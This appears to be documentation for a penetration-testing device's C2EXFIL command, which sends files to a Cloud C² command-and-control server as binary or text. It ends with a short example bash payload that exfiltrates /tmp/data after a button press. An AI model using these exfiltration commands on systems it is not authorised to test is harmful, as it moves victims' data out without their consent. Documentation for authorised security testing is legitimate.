The C2EXFIL command sends a file to the Cloud C² server (if one is connected). This will appear on the Cloud C² dashboard.

Options

C2EXFIL takes one or two options:

When called with a single argument, the file is sent as a binary file to the Cloud C² server:

  C2EXFIL /tmp/some-file
C2EXFIL /usb/logs/some-file

When called with the STRING argument, the file will be sent as a text file; this will enable viewing it live via the Cloud C² interface.

  C2EXFIL STRING /tmp/some-file.txt
C2EXFIL STRING /usb/logs/some-other-file.txt

Experimenting

You can experiment using the C2EXFIL command live, either in the Web Shell in the web UI, or via ssh!

Using the C2EXFIL command in the Web Shell

Examples 

  #!/bin/bash

#

NETMODE NAT

LED C SINGLE

BUTTON

C2EXFIL /tmp/data

LED B TRIPLE